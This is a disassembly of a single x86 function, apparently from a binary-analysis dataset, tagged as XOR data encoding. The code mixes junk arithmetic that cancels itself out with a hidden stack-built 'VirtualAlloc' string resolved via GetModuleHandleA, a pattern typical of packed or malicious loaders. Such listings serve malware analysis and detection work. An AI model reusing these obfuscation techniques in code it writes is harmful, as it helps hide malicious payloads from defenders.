Function at 0x41aebf
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
wait
fnstcw word [ebp - 8]
mov ax, word [ebp - 8]
clc
movzx ecx, ax
and ecx, 1
shl ecx, 4
test al, 4
je 0x41aedf
or ecx, 8
test al, 8
je 0x41aee6
or ecx, 4
test al, 0x10
je 0x41aeed
or ecx, 2
test al, 0x20
je 0x41aef4
or ecx, 1
test al, 2
je 0x41aefe
or ecx, 0x80000
push ebx
push esi
movzx esi, ax
mov ebx, 0xc00
mov edx, esi
push edi
mov edi, 0x200
pushal
pushfd
rol eax, 0x13
sub ebx, edx
not esi
and esi, edi
mov esi, 0x3a0acd0a
sub edx, dword [0x431b38]
sub ebx, eax
mov esi, 0x6dfc22
and edx, dword [0x431720]
dec esi
test edx, esi
jo 0x41aece
xor edx, eax
call fcn.00408d0a
not esi
mov esi, esp
mov esi, eax
rol esi, 4
not ebx
mov esi, edx
sub eax, eax
mov dword [0x433445], 0x918d3a4
mov ecx, 0x21697c
rol esi, 1
call fcn.0040752f
mov dword [0x4331e9], ecx
shl edi, 4
call fcn.0040752f
shl edi, 1
inc edi
xchg edx, eax
mov dword [0x43318a], edi
not esi
mov ebx, dword [0x431dd4]
inc eax
not esi
mov esi, dword [0x43217c]
loop 0x41af5d
or esi, edi
call fcn.00406db3
xor edi, esp
mov edx, eax
test eax, esp
jo 0x41af43
dec eax
or esi, 0x170d65d0
mov ecx, 0x22d131
not esi
neg esi
ror eax, 0xb
rol edx, 4
neg esi
shr esi, 1
ror edi, 0xb
inc eax
xor dword [0x433514], esi
shr ebx, 7
inc ebx
loop 0x41afad
add ebx, ecx
mov ecx, edx
xor esi, 0x311d773a
ror esi, 0x1c
xor esi, eax
or esi, 0xa8e842b
push str.KERNEL32.dll
call fcn.0041060c
or dword [0x43344e], 0x452a758
xor edx, 0x2551a01c
rol esi, 0x16
xor edx, eax
dec esi
xor ebx, eax
sub ebx, eax
xor ecx, dword [0x431f18]
rol edx, 0x12
neg esi
inc eax
mov dword [0x433210], ebx
inc eax
xor esi, dword [0x43130a]
xor edi, eax
neg eax
call fcn.0040a456
inc eax
and dword [0x4332e2], edx
mov dword [0x4337ca], 0x4d508b3
call fcn.004059fb
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esi, eax
xor dword [0x43313e], edx
xchg eax, eax
or dword [0x4337ec], 0x9a9070a
xor esi, dword [0x433f5c]
neg eax
xor edx, dword [0x433bdb]
mov dword [0x43378e], edi
xor edx, dword [0x433a70]
mov dword [0x433635], 0x175df124
xor dword [0x43380e], edx
sub ebx, dword [0x43388c]
xor esi, 0x11f95ce8
mov dword [0x433298], edx
xor ecx, eax
xor ecx, eax
sub dword [0x43362f], ebx
xor esi, 0x11f95ce8
mov dword [0x433132], ecx
neg eax
mov dword [0x43380e], 0x45a2458
xchg eax, eax
sub esi, eax
push 0
xor edi, dword [0x433d38]
xor dword [0x433438], 0x1a6f3f58
xor esi, dword [0x433f54]
ror eax, 1
neg esi
ror esi, 2
xor edx, esp
neg esi
rol esi, 0xa
call fcn.00401d27
call fcn.00403a43
ror esi, 0xa
neg esi
xor edx, esp
rol esi, 2
neg esi
rol eax, 1
and dword [0x4337d8], 0x1e70dc8
push 0x636f6c6c
inc ebx
xor esi, 0x1253c4
xor esi, eax
add eax, 0x19c61664
ror esi, 1
xor edi, dword [0x433ce0]
dec eax
call fcn.00402709
xor eax, 0x1d95b6e6
xor eax, 0x10dc3796
not edi
ror esi, 0xc
or dword [0x43361c], edx
call fcn.00409037
add ecx, dword [0x433aa0]
mov dword [0x4335dd], 0x224bbd75
xor ecx, dword [0x433ea2]
inc esi
add esi, 0x1f4b9f68
dec eax
not eax
not eax
inc eax
sub esi, 0x1f4b9f68
dec esi
call fcn.00403b67
sub dword [0x43331a], ebx
rol esi, 0xc
not edi
xor eax, 0x10dc3796
xor eax, 0x1d95b6e6
call fcn.00403c78
inc eax
rol esi, 1
sub eax, 0x19c61664
xor esi, eax
xor esi, 0x1253c4
dec ebx
push 0x416c6175
inc esi
not edx
xor edx, eax
xor esi, eax
inc edi
xor ecx, dword [0x433f2e]
add ecx, eax
not eax
xor edx, eax
xor edx, dword [0x433ae2]
rol eax, 0x12
mov dword [0x4331a8], ebx
add ebx, eax
sub ebx, eax
or dword [0x433554], ecx
ror eax, 0x12
xor edx, eax
not eax
sub ecx, eax
dec edi
xor esi, eax
xor edx, eax
not edx
dec esi
push 0x74726956
neg esi
dec edx
not esi
dec esi
sub esi, ebp
xor esi, dword [0x433cd4]
sub dword [0x43337e], edx
neg edx
xor esi, ecx
dec eax
sub esi, dword [0x433ce6]
inc eax
xor esi, ecx
neg edx
mov dword [0x433360], edx
add esi, ebp
inc esi
not esi
inc edx
neg esi
push esp
not esi
call fcn.004031cf
xor ecx, dword [0x433d62]
sub edx, dword [0x433e8a]
xor edx, 0x313f8876
call fcn.004059fb
xor esi, eax
add dword [0x4337fd], edx
sub ecx, dword [0x433e00]
call fcn.004059fb
xor esi, eax
call fcn.00408ad3
xor edx, 0x313f8876
not esi
push eax
xor edi, ebx